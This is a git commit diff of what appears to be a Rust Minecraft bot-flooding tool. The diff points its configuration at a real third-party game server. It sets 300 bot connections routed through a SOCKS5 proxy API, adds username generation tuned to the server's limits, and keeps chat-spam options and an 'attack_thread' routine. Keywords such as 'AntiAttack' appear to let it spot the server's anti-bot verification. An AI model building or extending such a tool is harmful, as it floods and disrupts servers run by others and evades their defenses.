修改部分内容

This commit is contained in:
Zihaoxu2008
2025-01-25 21:32:30 +08:00
parent 043ea80cbd
commit 15d6ce138b
5 changed files with 35 additions and 35 deletions

View File

@@ -1,14 +1,16 @@
{
"server_ip": "127.0.0.1",
"server_port": "25565",
"proxy_url": "",
"username_prefix": "test",
"worker_threads": 100,
"use_thread_pool": false,
"server_ip": "m.earthvillage.top",
"server_port": "33009",
"username_prefix": "",
"count": 300,
"reco_words": ["验证程序已启用","AntiAttack"],
"login_commands": ["reg helloa helloa"],
"spam_file": "test.txt",
"spam_delay_ms": 1000,
"random_prefix": true
"proxy_url": "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json",
"reco_words": [
"AntiAttack"
],
"login_commands": [],
"spam_file": "",
"spam_delay_ms": 0,
"random_prefix": false,
"worker_threads": 100,
"use_thread_pool": true
}

View File

@@ -293,7 +293,7 @@ impl<T: StreamType> Bot<T> {
if !self.config.spam_file().is_empty() && iter % self.config.spam_delay_ms() == 0{
let mut msg = String::new();
if self.config.random_prefix(){
msg += &utils::generate_string();
msg += &utils::generate_string(2,10);
}
{ // TODO 优化这里
let var = self.var.clone();

View File

@@ -1,4 +1,4 @@
use std::fs::File;
use std::{fs::File, io::BufWriter};
use serde::{Deserialize, Serialize};
use std::io::BufReader;
@@ -41,6 +41,11 @@ impl Configuration {
}
Err(error) => {
eprintln!("[MAIN/CONF] Unable to read config file, will use default values: {}", error);
let file = File::create_new(filename).unwrap();
let writer = BufWriter::new(file);
let mut serializer = serde_json::Serializer::pretty(writer);
Self::default().serialize(&mut serializer).unwrap();
eprintln!("[Main/CONF] A configure file with default values is created.");
Self::default()
}
}
@@ -48,7 +53,7 @@ impl Configuration {
fn default() -> Self {
Configuration {
server_ip: "49.70.3.146".to_string(),
server_ip: "m.earthvillage.top".to_string(),
server_port: "33009".to_string(),
username_prefix: "".to_string(),
count: 300,
@@ -59,7 +64,7 @@ impl Configuration {
spam_delay_ms: 0,
random_prefix: false,
worker_threads: 100,
use_thread_pool: true
use_thread_pool: true,
}
}

View File

@@ -35,6 +35,10 @@ async fn main() {
let configuration = Configuration::new("config.json");
let configuration_rc = Arc::new(configuration);
let mut spam_file = None;
if configuration_rc.username_prefix().len() > 14 {
eprintln!("[CONFIG] Error: Username prefix should not longer than 14");
return;
}
if !configuration_rc.clone().spam_file().is_empty() {
spam_file = Some(tokio::fs::File::open(configuration_rc.clone().spam_file()).await.unwrap());
}
@@ -145,22 +149,9 @@ async fn attack_thread(lock: Arc<Mutex<()>>, config: Arc<Configuration>, variabl
// 插入生成update_worker线程的代码
let mut bot_clone = bot.clone();
let (tx, rx) = tokio::sync::mpsc::unbounded_channel::<u8>();
if config.use_thread_pool {
tokio::spawn(async move {
bot_clone.update_worker(rx).await;
});
}else {
thread::spawn(|| {
tokio::runtime::Builder::new_current_thread()
.enable_all()
.thread_stack_size(8 * 1024 * 1024)
.build()
.unwrap()
.block_on(async move {
bot_clone.update_worker(rx).await
});
});
}
match bot.run(tx).await {
Ok(_) => {
if bot.should_restart() {

View File

@@ -46,15 +46,17 @@ pub fn parse_json_component(json: &str) -> String {
// 生成一个随机的用户名
// author: 通义
pub fn generate_string() -> String {
pub fn generate_string(len_min: i64, len_max: i64) -> String {
let mut rng = rand::thread_rng();
let len = rng.gen_range(5..=10);
let len = rng.gen_range(len_min..=len_max);
rng.sample_iter(&Alphanumeric)
.take(len)
.take(len as usize)
.map(char::from)
.collect()
}
pub fn generate_username(config: &Arc<Configuration>) -> String {
config.username_prefix().to_string() + generate_string().to_string().as_str()
config.username_prefix().to_string() + generate_string(
2,16-config.username_prefix().len() as i64
).to_string().as_str()
}